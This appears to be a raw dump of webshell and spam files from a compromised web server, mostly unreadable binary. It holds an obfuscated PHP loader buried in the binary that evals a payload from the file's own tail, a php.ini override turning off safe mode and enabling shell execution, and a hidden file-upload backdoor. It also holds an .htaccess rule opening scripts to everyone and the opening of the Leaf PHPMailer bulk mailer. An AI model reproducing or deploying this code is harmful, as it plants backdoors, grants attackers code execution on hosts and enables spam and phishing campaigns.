h$q!ZPq)c-|ߜ)5;k(\Åg~4"!Sv"C~o d|}䭝h;LD=N衺j[hQwNi|uE΂0̌-)9q4wC`lթ?[F?Τ:EdU\9;CTs=-`fRMF$u{cIdDmZQr{icBqc:,vI
bU(AVgkticmoluzC&/}Rp/f#bYF'L{GvuY:K=E1z]m-$@Fƛ~@dmfsxijdwouR6FCY(I@DK41fٙ#ZX,yw́t+{D2*ߴ	r	KzdJz煻oլp'g#F
oԄTQuӨTNE,5Nx	!8IWe{oFK?gkticmoluz	@{TWX\FQvJ^7AoGkUQϊ/20iq@8Ce{D!:U*pxRG"@mX{LZeQU/VY~6X	vQ%= :i*#}%~zq$ @݂Fk9՝	7џw oB, mfsxijdwouF4xEx.mfsxijdwou\;+"`N	$,1"H\hă`"'h%q/}:oq6I|~__)m9[o$ ]9.	pO86Ҡޖ?A^'f֏5v: !m2_=PP(N4(% b榭Η%y(zMoZ$LAq@@?ׄGEXWѢO0BA. Lo:V0Vg^sޯn744aO M{$$t`ojZ	 
N{g5
G	 Y(⃆Τ훅M,^UOm-0L.x(wsPPka~MAm)t	X? izͻ*Aovׂ8hW Yo,OV#PV8
N$%v߸fѻflgkticmoluz-,~tJY0};J@bEQ{zr07BS{=Ԃ pp(qB]zKNg$ [@[w	 )FLA?q13߮"W4{@[Xi8^??mfsxijdwou+*<?php
$Znhy='gzunc'.'ompres'.'s';$eJvV='s'.'tr'.'_'.'repla'.'ce';$RbIk='subs'.'tr';$tHnp='exi'.'t';$Utzi='f'.'ile_'.'get'.'_conten'.'ts';eval($Znhy($eJvV('vyifbxpwck','>',$eJvV('ihsncglfym','<',$RbIk($Utzi( __FILE__ ),-28233)))));$tHnp(0);
?>
x׮ܚy+]T CY;[Lu/"sc'T\\ޟ_oUf$ihsncglfymR[Ufin\{{ʋw/_muh$?ьͿơuߋe?TǦekHő#οǤO?*lK[׽vyifbxpwck\}]MO2š5!ݦUphv2T__ҺD톩Ya2Cԡg&[oieBKXihsncglfym!2?Wd/u|~X牿K"_GE
CGZNtrְi]󿌗ĸBt|dw_2ĂOvyifbxpwcku_E+b'},}ފ޵]] \oihsncglfym혲b78wлǻ3*w7!Ŕ޽({k(ۭ??/
*s쿜15;qsnb~lF8^Q/~Q]&CpDd_) ihsncglfym^H(ȸgeJYܾI*}4P6IeQD%*b`mT	A\s	TK?{"3-6,$!E-GM([r3~\`.-U	E돹Tm8Dsaru=pHhnkIbct bq
jN
8=},ϸmGvaPgFfTкYʘ
icnQq\Pя/ҙdXgĢ^7:!+v8}d֣[̴1AIkR#c@#&2aĥ䤚_&OX&%-,'0;z@fJP\/f+mruJ K#fۑ28);5ihsncglfym,/=M!3kƜLKϦDEwO(~Ucu!ͮcYKZL6~3[vEH
ihsncglfymP̫mIP8;,x,ONdc%qlMkQN׮Ib1IG?]Em`!̾vyifbxpwckAn`.UTؘrl8ihsncglfymz'ߣʱ߽ʤ`L+PVdm飹s.BC;~
"opfzw2wDG8-;pzgq_vyifbxpwckq|lpbw՛N@2pyJ)@pŬPz2}҂żB:}t@Fqli;.y'5f|6br}C{Rvyifbxpwck{8КL\&]
?|ɯڎoO}s%UĿ$0}7ǻACP\+նlϧj	||ؾ±.@5/=P8qwBz޾L3qRڼ	憰(d|皏ŞO؀%\&y1H紣߿T#[ȣtNFɌesc2J⅂Lx${JIe.'r%VucpՈ]cC)(,	V'̬߯S(Oihsncglfym`Cȑuy)Ck5=F\EYed6t[`Q;
vyifbxpwckm}'L*a bBdmRc{=t)[O)m .)FvyifbxpwckB'"s&3ֵxDK|*Yah
ݷ\̍wq1WñE6{Q*C#\h,Oѧ-Zihsncglfym){IKX	SJÅY
vn)vq+Miu
4p~-'}$mJoH8Ryn5"/tm*s0NzCuԁZ,H[JP(a-8p[pkd *2`oA`B_sp1Hw @MS ~) U3xMȲ˲
!
#5;܂9vMtiÞ7"#N䔹.o+MY_=q9Nʸsɂ*~BZV&bK}5W@wɎTAb3}"5Mꫬ2
F=u#cvK״:=
+	K')PSe?{tWah3!uԍihsncglfym!3SmZnJ,p1)XG9bgS~ihsncglfym'٬8L}_8. f-zf͖*ȅ&P|Dm 9XlrR';X+	+нv:LPMkI
"ύβAE)17:%@r"mE{'c?Ky-Td?!4^'ά{zuvyifbxpwck^qPTK@k^^tvyifbxpwckSs}2memw$O\C5W&GGsn&T~0S\?@i}rW opBM˃mi)Dj}XHvyifbxpwckaHRFZK
d4@Lk9}5]tq#XHg5khw& 9Xw1xJ՘ )F1/3o6#?6"GȤUxbB:흊_h%~ЄGqcmd]/ZH]y7᧥p.{6g穐r*W'Enfy vyifbxpwckf8۩el19ĚgA/%Qr
@4i^9U7P$i	O?}
ݟX:
/p[bǷgPgD9;CR-
xɮ~e0B' 6Hv[kӧ|%\|UE72W_o'!)ڔ AN%l{.BEvivyifbxpwckIbǇ敟E#0XsasL:*SN/V2ήI"6W]KeSzFwقOM
AICQ:%Q&R|Ad0

YG {8{H?)#TdNwI
&
S
Hė2T־*u!OVBi"+I~	Z?Zuchvyifbxpwck$|μտ+8{Svm3LJzX']n\SnlB[ `׺$_c-ǎbzM=l(.zr/8yrF_Mӯb3ധ\XSM
iPTVаmʹZC2\
26POxP"|ثs@|k2nzsēpO̧ihsncglfym3.hժ-!CxWB)MM_nª1-yȣ9TH2!/e3+q+*,uȝvBA|B+T|,EJ	2\'s8H!]CK[/h5j4Vvbn31&^s6cʬ=iOF2@ѐ#I\vyifbxpwckvyifbxpwckNK5,4֮Zmd6ξꟶo)WrLܜ(,hprՃh=2:@:4PXakoӨK9g*aL&4F832kv-@-8D$0kZfv[mxHiޚ}{wV-Ӽ9IʿTNBE"j@r,!EKx S)G.\Qihsncglfym*gkbO޷qnGZ,d6\_@Y= s%^n|~ql+J85"]?= xC@;-DJllb;ұcJjd^"%ŖM2Pb :XBh?V7%vLA|W)$ڬ^j\.:5wf~Y&8mrWKA+AL	WUR#JV0T)Ff5_
6I87ßV0	:5O=Dc=8?k?"HK!#^y362Gtĥ=;*Rǆ'qhWl7uvsĝ-
ha~\1d&'4c(5콾z}
ihsncglfymUcU$Md8G]8KbǮ6w[BP]nUnihsncglfym5BP0	|Zs9c	JP L|gB-v+D4:
kX
/#yiOcE#d	/	IUqT]x\˷vWތ,Ѧrak,AWIv 8"ӚMͯH$y`qt
44a^r-a{ƫs
Ԁ
|@U@*#@Viyi3zmyֵ/8Xzt֕TkfGC=I/7/B9kQiU̩fQAeR=hvyifbxpwckST7%o_\eHX¸9#/@`ihsncglfymQYgMrx4b5nchc&rfS^-|
Tgvb z
Nj0RX⮎!|d04f
:*I*%gihsncglfympgZpΡ3Hh]'tksKy{6v&;ǚb"l~gp;mJpYZ#´\9·o_Tk &`*)D^߃AcP* x
GE͝;HL"B"1#=R]/r#&eN
ml!z
=V=I53.+cþ"·ŷ;ph\-ihsncglfymR24 k8oN,u^¹a.iyga蝋A(`30]ۃ5"'$dxvyifbxpwck_=n!*x#"yG;)﫸HĤNn:ĵRĞȮ'nDȌ.?KҏNGےs]`%0댃DHV~SNS3q7rZb'l 1,Qy?nx#l*ڄOUAFڳHݻG96eEy}kj	'%Q;R
uas/D-y^ 
 9[~vPrxIM#'rG7
}#zs"ǔe$6ʑJy{*
QXp2+vO7Qn0uyIln 5"9HE
}B&oTq.s˕'_(o="#
@~{]:Q:A˹`HHZM&տSjƜl[sKM
inS bg/ttxm\ PKvyifbxpwckd,&}Gٟwvyifbxpwckt]]ihsncglfym&~'# lŜ_n\f[3~r'Z FA{apl	4@RFOvyifbxpwck+QQz'{;2qDl%CT@
NSfҚV~AVGE

3XHwn,6BEcv4/P8ǟ\ZKkA8nfx"^ђW5ϵ/\D{ihsncglfymK}JߺAw'^X&vt	OtᒾRɗt&p؞e(/d-$]Of6ʆN֋Eȑ@LS|܁(%fd2ApvUL_-iiDXXRijVtOUk.vyifbxpwckjk31ZN4?vNVn~]hhWPb蓎3*ܥ;x5r;hݛi/kgئݝ?r3;GH e(/O~֑ud_l	_s+顖}Fd#cH2RihsncglfymtǛ^Pö7Bf!ӑ,2ktD'VGR_Z=~$ix$-9.uO~p*͹R~؟BI*ƺihsncglfymQovyifbxpwck}y {yW3邫Z0b,ȭ}K}K6,:ݰ2`S2M=40!Q"G|A	!ڼuEihsncglfymٓIL5DϐKZUrh
~ԁ(~;*[v+͗ŅdIvyifbxpwckq,̏72fG0z~PT\ܒ!o(SmM_'9#a,vKd 
!Qvyifbxpwck	 I[:嬽k\GT1lyP@	"fX
'棥Mu#0n)] 
z="cFan0vz"%Nl}"$4 2'3SZb|Llނ8rlihsncglfymQӝ0&Zzyvyifbxpwck rPVr9GT-WZ_ЮZ7hՇ&mivyifbxpwckO!ihsncglfymL&CTִdqWgpr@FDK2v-d]
.{WJmB
ArN!a{\8NL~ihsncglfymXh!3B{ԦRaC.4QV/ߐxDBYW+}
Oihsncglfymڔb__hlϹZ*9{3qV q#4~vyifbxpwck_P0#=T뫇vyifbxpwckRQWim8[|xSv;'|HU%c_5ƏA,ݛvyifbxpwckC hc,iôm$EsXvyifbxpwckIrM˘p^HL))`֪~~ʁT,L;rY
`|̱ٗ3LZ6l3VA50O9f.BT,
;x@7QΤ!UvyifbxpwckW\
4b]a@E
m!f6JK+E yoS7Oضdip _OPx4.A\loW. dF?SLnKѢ;̥WyFVG,F})ğrvѬ~s5ihsncglfym_FIZtQZHC7i-κ74tytr^_ó1~X$-"
 e`CB4oWz} t~6|x|k̾
;D6:}u 4漜cM10i0iaʣio#VĪ4dS1ZjE3[ApMSpa[34.n
yXJLK!cg
%q4ڗ:V^ &3ɲ.ҀP-^h/@

$Sevyifbxpwckkl
B|xY9x@/!NIbi%mRw[MKgI.L[[G},	wRnEߞMRvyifbxpwckw?aSKSd C.WѶHZw/qr]haײe9máU5[, DɃ7|E6lb[;Il=%Tf9MF;!,DQ
 HO@DWb1h;]1}	`Dq`^CfhNx`~WҾ	 6H4LSe9	 䵢TZ),@?v_'GBo9	4)En]M.N $UKn pCvyifbxpwckaf(=IxOd qKIh&N``=ihsncglfymh|+Ԑ^uk-fpk.V2Ę9ZWAW/&;=Uٮ$=9'cKݡHM}
ޙeBf% P)#7%	ǴxWN
q
µͱd	U
l,	=@vDXF=pTsL0]TK֔Ne'bpU"&\Rke~\)L`RnbDhײ܏v iFXf-N|03NeMJ20:rSQE/7hn6tv)F8LP)0p0YL+EP~BWlsHRN|Uda ̋߭W#(|D2:$wHa]Z]bo&uNC匌}/:-T X0ٟډ8vd{[h̴9B80ihsncglfymn悈 #55ޮtoIR
6q1 _O41ݺϐ5E\fObbq0KzJs~^aˠmڥ.-n(\dlӖRcзw:ןDky,L㳾UBv
'YF	rAnihsncglfymII!{$,pMc&|~p/Ovyifbxpwckїb տ3=U݂w4Ectky^7o[[0,U!M@:jN*Lx30mK~[vyifbxpwckt
^UJcvyifbxpwckGaʫf
V8!.1ĝ0'qUvߝ|1RIviLU[lnnx^*~)Rk8k2"`]wHhW@Dktk!!LMb[ FH5sOEbߚAl=$?ư%nfX|ϊlM\wc$nQ7!+/~L_}4Tw9Ͳ5ihsncglfym1+YR\&ty_jH
4VXrA9%~ovyifbxpwck憵!
aH,mVG&F{sSPvyifbxpwckvyifbxpwckǕYOT o+[$1vL	q'߿
TY`I (ƾSݔ:_+5
h=drN P&ځ&EPdeFIO|}{׽t%R+mR]םXVo)FWVБ}l,Yۑ|~&gihsncglfymW$۫J)*IK_SίÓDwqRl"xN!§ B5N~O
2γsu0~/^p+"։җ55u^dl\6b)dy$2[J;в|kܠ薂AvߦiT5РHq?5,$T$IJɁ V|r໩gԬZL[qm0SxV߼a5gg~3('JqJw268۱VKUc2pΠ-8_{dmsL
|hEHPⷧVӧ~uBJq\u_
	L~2v%{E:)5IogTŶcczs!IO6:pd6ImG:0M ׊vyifbxpwck*JË0%VOhh/nvOKy&-nw-߮RYFmBqihsncglfymtWm`!xvyifbxpwckD1Z 7TͅBk,tsihsncglfymM`Sihsncglfym;0$]E^Dqj/=tp}#)p"ɰhH%o@lPKiUO }h1W5F`4U
vHY`/u*,R(نuQxυpjbfƔk ,tcwu?0$g#n	\i'$N(B``K#Fkzݕ6IOS.ke0jD#p$vyifbxpwck,5ouP7Sbæx 4
|R*7p{[ەXnvs[.	qPh/K9ƶ:7zDY`	K^xOL8v8T0ESdvyifbxpwckB
,YѾ_ #ple}:';_%I˒/q	AaHa &4͍Čls\.QGx.b&I;u΃m7CUB\M3%;/ŭRm"
N?wKyA(!CUƬEc*[.ߢDk^-
ފD0E"ʫi
@D3ٞ?kSH1AY$y.;:/.Sȉix
'rPT'W(yxLU-ğn*ߘ%e$IҙK¸ 1+SS_rqQVZX8Zwjs)r2{tQ	QwC;Y4Z
ﾃkYD!Ҙ*9h%m]3ihsncglfymΤj|ƾK~6wniuFU'mYn]_缐5[G^&xbc1FJ:5ɳ+
K)?ak;73@(;u B[:aE`r|{'@n{3@k͖0C(k-Mf&-ǽ7LLGZtp s
BOON#bljϹb˕r:TŎ~vyifbxpwckhn`ȃ,vyifbxpwckzb,!&4ΪCg-Ar9l)8z;*C6VeKtE'GSFzڞ#λM-QeBL.v;;QK28bI%1IW?
jItJf(CXO#XBހCW)c(}E2}RpcgO"ռQy.nbƠ+מ5'GY8hŏk&ֹ/vyifbxpwck=nQ62o-	I ..lٟI 7u߾58i~vyifbxpwckzj3Uo@vyifbxpwck?4緐Yj'C#mWSVx{
~_qnp.9KdihsncglfymA'V-BN -!|I#I帜vwkMK^B,K%B*gSMw̽ vyifbxpwckMg.~q4[HNk)W^+,w6{3?8Hvyifbxpwckq\)we1c𸶊	@ڧ+~xIVSZ:I56cdm
ɑNaKcCwmW2˫i(pߣD+Io3oavIκMyx eW ~"ùМT$?7U;77H䯴ϯ
ihsncglfym&ժ@BBW{ܹIrb.A.myf
Otv3%%C8^Gihsncglfym'O-֚܂3r ;x ,hYV.sepYF"ٜF*x-F'4)=F/WX?#5iN;kEU?M0DR8[ihsncglfymuo%6Y%̣`Dk\vyifbxpwck&^lzK8l3b)
ltM5(acڋ'o'i=Ŵ*՛ffns759_7cY$\M[sjd8v{=Q:KS/ lhs@DwU&6/_b&NXB4^OߴxF) Aq
|K)2(Z'ﳕ	#:*E*?Q$&Dy)F&/Yf=6|w0/)-Nщ''~zc#͏Y (S~FZ/?vyifbxpwck٧;E˔F?	S3+heh	"J[Ovɰ@Xb:T@hOCt j!WpVy&GW)?*˔u7eɄH`(uμQRRgulcq'bh2NЛO+H;uJ݂@'}g], ؾk 	XfqLD ЖJv:~9T[v6$)R9Uwwihsncglfym b7
v-o2	m}3
}Q]Zy7)_rFKfYZ75A|x?q1뺿GYAeV89eQ24|]ќ u}zP|(no8dWjX	8ǰ]˿0ߎ&-_9);dD*@S:p;w6wQ4Rs
E|{eyF_X!"Pb{'g\KM8R-s cR=8zyOۆ[']48BH=7
AgSůZNtǍ4?DR7Y:h{;MvyifbxpwckTPw+{LuGRs@Rv@.f_m$)ҩgXrڴ\HH,VVG"دP7
z1*ivޖҲ'yT`c/uoYPbΏ}D	"n'A	dͺZ9{K-nF{Dös6ZZV
*+ݵ-v}&k
+2S@t"1i֢%KCsڶbd,m1hr`]A0*M,Mǣ7_BӲ	xZ_7Wu1%f_
+8Īz
ER9"ihsncglfymN7{4݄z6HY;R&1_vB9'jDp{̬=Kpv~2W~CM?.hoW O*r.
"Ҟ$oR=K)P?D.	EXXpY6(
Z[Kw|h~xr's
%zvfP{Oi4Hp53f0韺pګ:AVg- pv##vyifbxpwckΎٷ!|/] ydjC-*w[V4&_KuR
ʄv\s|6S@ZfO6dpG(#PlvyifbxpwckP*
YhC=X!֥cs87jy(Iihsncglfym|VQ'E
-Yl=mPR`.%"&e+״j&7u!GF+&TtzO rquؔ0zD6
.vyifbxpwck]cc4#F̙}̸#0U/|E,ambHWzLJZȣGY0T=]5-=NZDH(+D')vyifbxpwckE"7}!q0Uv-cF4FvyifbxpwckFFz#P|tA?HSɴuQxni40C%'j}$l rgE햕sԇ/9S[&4
::͎*h^ ^{d6)_AYK@.av
WfK\
n4"?|h@
=PvyifbxpwckՏA۵cصn`SWGݧCV	w1AsɾRK4hY	%hߺo2MpC~|)DWWX@v~xK
3L9\s_pyihsncglfym%WS|f@nk̏1zWVCLmeISr
(uT N
vyifbxpwckҦY	
]4vyifbxpwcktkҴK(X'Z(Z-b
}#3-#^
^y{Lc7XXŌOv˲[gf.-z c9X3l:qIejAKM?0 vyifbxpwck)CԭeFhM`΢
;@wNaUA0jeRދ"Gp}WxWW3-eqD/]h%/s%+.)XڒHA t@:^0gմ̆mLԺN^Z9,ι1Svyifbxpwck̛Q@-.΄ޮ̥_cWl{Wi[o{D8徰7a9ٴط?A~
5!$ZPI5"PTDU7#'nOj|, !5kKsLihsncglfymLPM UwR׀OM'McrYZ),t$O 9Yihsncglfym&g7a+!ԢG+6*&Y/C1e:Ɏ\&)7v4f-GJ=0vLGxФk,N_^Y.Jn ;ihsncglfyml7 #4\Zs/MbLE٥rOQ6K4'	6\#R0QN3?@$2;w7%և*C2^ֆЇ -$:rp,kwmS1dJC;dVܦ0*	ׁ?щBIur!Tt,-Gs S
+
ńwW4#C$	rӭi@%Ȧ~r#np+l(6eLp'= 夁aP:$n,~b675K/5Duv	t^?wyABR=}M7۝=;Qh;[4n'$-PK5`wW(՞맣T0|qHDpQ0KOqs둃އ-vyifbxpwckkgȑ~,,o|lZ8yi/i01Dvyifbxpwck(բҟЎƨO=Y!8HhD=|G;JR'bjN
hm(zɹOY#ͧ9+vyifbxpwckk,X;O'7HmQbZ"VǷBapx[,ihsncglfymihsncglfymOGZQ|ӀvD[,kIk+~7!{vyifbxpwck8	xT΄[o;YX?
7H&rf,BebЪ Marb.v mYnȚcihsncglfymUpI]ۡNjlyuҝv^˓_{,t;h^a D$q7hI+t]	4I$SU ZQoñIfmek0ӗܯ}x@Q(DۼjS@$9fyvyifbxpwck=P_P\7)Ԙ.]4=qHXd7;b6opʷo(?A&;oOIvHv*&ۇOƇ=  +J˗}kBHE{EXۂBB8bl^UE!\aE~_9ŬBBC$8Pq	l'2`dihsncglfym"xQB'(ZNK=l
vyifbxpwckS[}mRSܕxS˒'B)xE:[:]+qSyihsncglfymsހʗt+j#ECzǂku_p|,hZ`.4]"@aEϝ0kbc"epl1H]9zOş
 vҀ^Iihsncglfym4A0;QF9vk4VxQ/-tqvyifbxpwckPil{jä}U!CL=-{JEaJT
ۜ\4T[ tҨNjyUy-*2 "[ay1HҵzW!8ihsncglfymO-piT_&U
3Ch4CBpt$mp!Y j5iLQO6/.y`5!ݢ~Nv
k:BM6HYkNJ7L!8nDW}
MJ'eh|?$+PC M\2&UEWE6\?䁧嗢hNp@&ihsncglfymW92ǲecK::v1O	 'uapsO20,D=X
3VG_dpd.]1V&߂`е벜IYZ;}.ri992R]Q+@;.T֩'*rޚhh
G2XٝpZP\~Ђ0yKyыO1燤NJĨ%o~D69O3[%LD#DsnK+;G&#@qm{[	ihsncglfym.oZ:ՀCbu,)p9i:!Eba-I6f3/vyifbxpwckm430ߍqMD"xm!l-[ox }D~-[	JYDR.]h""΋HHYo\#WILFihsncglfym?	 %wP,}I:cJ
E)f{]pa:	S.1/vyifbxpwck ihsncglfymyƚhx]%\k!'7fHLcÃF+xdk'y"ΉL+9l/9U2z9_"(0㦄(CČ1^&2mg(\6MR_l0o5չ0B^[p~p-$CǏMRXw^NJvyifbxpwck}TU]-G~K=߻xQk&0ZȻ7+1l6D)u]l$t/	eYLC*²ǻ~.jBb%K~9R@Su)Us7Q5[P*x ä
v@PFXxoEihsncglfymH|r }Sηnr.JCT(5|YLVW
"~ )tatZt9rLu^g@=0Bvyifbxpwck؞0@8SSN2&*#uUʟc{!-̼~?p%!@pRs:x׊_bAܒ|oLL9B(NŐn8)4"!8S?֝Ԝ.KoLF*Z~R_Yz0?^S6eïam2EE=&
yhuRu]Z;&vyifbxpwckܛL..VbOI3Lxtaٴ葎e*I6A)\Ӿ-dк\C^u{ډ5 +M2.AZ= 2gNZ׍/D|; )bS4P提Z?юvyifbxpwck5VdvBXF͜gv{/wVRH0	7]hhtN-Hم4rL Kw%@ihsncglfymwҢ/{^zDe|XxwL_
*ḭ,ihsncglfymT`iClYE84}J=L｀jhOr\f
g4Vj$Qabѵ	fhpT{s3ԍ.-x3k0/c قPeH,
18jYw'_C:^SÓ+Ƣ߸-d3
JB˦]hk`P^nZdHI.1	7,-p ~l鿌@
5gس;Zĳuw:*Wr =VưZN9^c.vʔs/1E
|1W0xlT_%zomkG)	DQ7G{ahihsncglfymθ1u
ވiAZdH`XmR9-
k,EK.HܡHZ%DDEwm'\O"gvyifbxpwckjsՀPxj̑bСJ`=\~JuvyifbxpwckXV$94:a
㗙Tsi0CRX=VΪA2~mco3W?{2"9w
jFti
.Ds/O;@vyifbxpwckat^Yihsncglfym4EkФ,ʞ`qihsncglfymjFOl\X
#QYBQ1z
YWh#1?Vh6Q#*+=g^ֹxnupy3lthe
h	F ڰOGN9vyifbxpwckrW&JAYdP$pԨYbE0p]SDt
/̓4tt_rZ-sjihsncglfymIM8ihsncglfymBF Fi.Tj!hKs@+*ݲK{g&Gi]
Þ[^+K d]']-'8mK3T/ cB:ls LY	#Zaihsncglfym0o N'0N*XW&΍V?f)6 نJ:=(AeFPH8'%..Ҋu~vyifbxpwck-_QbI,G,W74FƋ1_-ihsncglfymJU[VD
+=|[8j(1rihsncglfym͘7Gj5&@6\	
X䌉:+5Cl*8"m6)JpC]M@ihsncglfymjRʒukՙ7 [vnI oI;w*)@acFyaAs5+Km~BV1bCZoBٯ@6HrI@@OK^2y#zDL_^bkXQɏ_2VI%HȠ!%QEY;,
5	K9;v$F^|"_j!+kQ"6;ͻC
21IOs3vyifbxpwck|NINkλǬ&Z&so[.aM#T P
GEJU00zm&w_+aGr"puPJ){ͱr3ma7aSihsncglfymx*iü|KddxroR\[-hv@aHPx'hDָ
dY6&(GnV*.I	5TNej3ch4wkwqHp!.E3&Br1rE/˙t+tjy'$8ihsncglfymm&W_?C4:pTh!M\QW7ǚ9{}9
8oKao7b_!Y,vfLC
sOq#%i;[+\J¤[pFih^s1{
u?ݲJ;SB5.c:Aihsncglfym]İ5BHڙ9CzhЌ 9[x3Oc9_.d#r(PS"5&hミ:-ѵEm{~{\V1u|Ym®s]Rd6 UCihsncglfym1)f.GN
?T(3Oװ&g7DiRcE1$gR2gwRN(1ۆ.}S+ȾSA"rdaS]6ASgyJDO
Xª7{]i*xN*zfj툂޿J50N6?/-,"ں37iInٽ+C{6l v&H$!S~`FPlO/u9-6]b8[1r~DKovJR|g &2ӏfvyifbxpwck5#e处#^O=bqq:¸,y\	NIM{~Qx?O~~w/fi!x4R7cbEWk ]AE(	h7 ])/$;sWΘ4荶\Dg+GG7\ǫhjj6(ʗ~xR	LҒf58duڛdռppgW: ށ΋x	Ǔ1PҤx{rx7z]P!w{NZjv"ֶy I"KyDarE7^S*1vlրCM)TR$̸o,4vbvyifbxpwck_
Ht] )桏Q鏶]}nah9Bd걞#Sihsncglfym̐dTCZȢZ0ɂO*_Kj(j
$ys#^p#Ɗ!A@6|2?
$5ClʹvihsncglfymYB!}`R9ihsncglfym4{Ь"aְ20.0*fE1'Rc0]Jn-rC !vyifbxpwck`hxN1%'l0buC1!oLS7 ibѪ:ECb,*1*RU&C~*͎.fBCvSө潂MVN(jfRqȄ/357ՙ!3fjH7CG;s0܃uPY_s˾*g}t@Txp2-IH[pi3l,9"SWU^	.
GOn
/{H.^]Kvyifbxpwck2Z|%mZz
ŧ¦^ڂ=Pel5H#? 6무|ݧ$hkMô=Ί@azч_P	?sv&`oon	cJu&[4Mxk5lirXwFJΦ`*Vʺ ЂrHGLn0Ϸ)v BOĖt/MM~jJHAnӮ=R=p
Qf|%
\vsTv Ѯ!?3P[Ml9})C6c2Y3h*&XJ?t{ba;"++F\'Hӛb
h+gE[Q"0*QU)l]!_$x7E{"fʁ.
ҌF0L1loR2S3_ﱓMes+&gc弽:\ihsncglfymk56'}A6{YKihsncglfymw"Za8VW 0nY,DKWp.Eihsncglfym͔F_1B$).eP~Hihsncglfymf[Mo:^֢}F\j̂T=6CPّ'Mhsd4?p4Զgdh 	
~aqӈ'Fcw%'Liߑr@}4mn\*]n&OQ/ Կg21/ܥ}a!4L}{
xihsncglfymj`z-R˨QܽfQ@Osv(`HvyifbxpwckmLt`lihsncglfymkf_sLRbUNΏck#1Q?#cƧznkqji$/UENݰY,퉓?Xm7!6D\so7ry=!CB)Jvyifbxpwckp6\Z*׶ijz*pmt`Q`7)9O}INb|K+A ޤܾ uFִ&ʜ|B;5H|)Uwׯ PGte}mhrFyrER 'B=tû1(:~@hfp1ZvR!"8=p}+}҈
oH-0%}ȫFKbhH*;?"|{gB=ap=J4h~yjїW(.jpFAAY}RZϰ2Ӕ"@tm}7qo1՞{z;&Kq-r'*5e,IGOr)
W,=4vY9Q).d|,*	5r57Ŧvyifbxpwckihsncglfym:W1 FERv?壉Ĭ*FHmA
O{-NF	IO.+JboWb(
1vyifbxpwck`2Tτ9^ƫO(w
AnbQ:\(tGԂ7Ꟈ5{-JAW#	T;z므f10*@JunWtXecjπT:	04SG]湪bO*~{FB솮(W6uA ihsncglfymyZ!d(DO[ۆB2Z{ӱ,ohY:fC/ЇSԏr+
%˖KmmW 1Q$&ؑ*4 :=&"蒿%jho314_AveȨi]A[a\χb/~I*R]32vyifbxpwck;`V-gɪhVL,ټ;RXz%e@dn@9L|oLyQoTcm7~߃[Eevyifbxpwck|4ҹ('	(_IvyifbxpwckrdԞlekm6(S7zd``U՘Ƌ;2Ujk;*" jFc`vyifbxpwck	}mLG`ZqKFNl:~EX#Y]u@37媱ԗP3 ^28gyC65%Ęz-bxTzg0:Y0~wP)I7M{\Y V5z ϷNrƝUwF Hb9IRF_9)c
{.&I|RKj\[=V;B[
/ D,4HW
'xɹ#*
'(Qʇvyifbxpwckˢ8ǵA=a2k\l=?#OZAʐAFk9cm$2_n4sSAB785Tzˉ B؊/p[SVkI6.{)ʕb!ZgJr8E$ CםQ:QvyifbxpwckivѽG=rgZ7yrnǡGHwkDlSYm'(8z~m!((r,-mqW`H)P'Qٳ[JؒN^Z|:sZJ45WIUYpkFT۶X}]6~](4F?dR;PqkeR:_-C8C?\/EB#_j
*W]TWMq["^35.ڽi'#NBN	u׹k@_izf~NôBeE)]?_5iOY8f`^_.OnP1AGm^rQg^{ihsncglfym,ndڝm|\Jr}mg#\q}a-q.$]{(-l%Ȏf2Zea-k!Frlbvv!:)'%CIA-o HȡaٰoUkJy^Pv?(KUYO=ݗ0A`D;H}tժ&SF:KAMe^ɡ\'&˒_u0J"bihsncglfym5M/ĥ=1OՇ{^ۦh滅1Z!8kvyifbxpwckbսsҺs|""vyifbxpwckNؙ8:io;lw5	)&x[0=En/O
Ż:Χ)bihӝ98׹s{	vihsncglfymm?x&qj
_u:%S)(.s5?UCeQihsncglfymWRvyifbxpwckȥ)wEbo5:K$f\5g!A6F	"_ZF 8˸/`du70t[3uA-j
HO_/ޯ#B+zUJ=x Kq ,Iڒ3LUĸɍ]TQ`&Xf6B	C9L՞Bμ(:9v-~(I?.hGMf[ !?fo@]
÷k"SG7:Y,fL{P@
*l6N[Bqbx?ÔtEӾ'keihsncglfymX|JcvKfm5Fe9FT.zP	K?,^˫GFՊ$[f.7@; rv46C)wW_;8O_H} zzzqҥvyifbxpwck:dj/N8V5[|VQ^M\ihsncglfym:TE~?ɳ`rg608o&|]GyM$BS/E|Jפ[0GZZ{3(otDJcGmDszbwSqɕOz$J)nTiaA9_}5
'&L]̱I4Jr{95:?");
ISiʕlE .Sq_ƀ 0`Wj'Q4{: bV|[+W*z)eK?2jihsncglfym/1ݜj(eyju9`1(
v#~	wbP9сټ6&q#gqٳKvM.:=F(# -TTSergkYc7ẋZTSvyifbxpwck؉HDi1_gQeeJuw725ZD]V4S=`EsCEBqݜ^:itjamMmهX]i\=7
ݏkp1Ôihsncglfymb;~.NxTNo),vyifbxpwck)iX;c	=g)I[	$S$3 %g0-oj-TVwK&¶R'YJFx\7c15()Ӎ^GTavyifbxpwck)J].}e3'U{k=^4ּu7-ĕ-rzL;4߇ܦ*~3$HZvyifbxpwckfF3ALsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "8S6oiUbXN4v";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
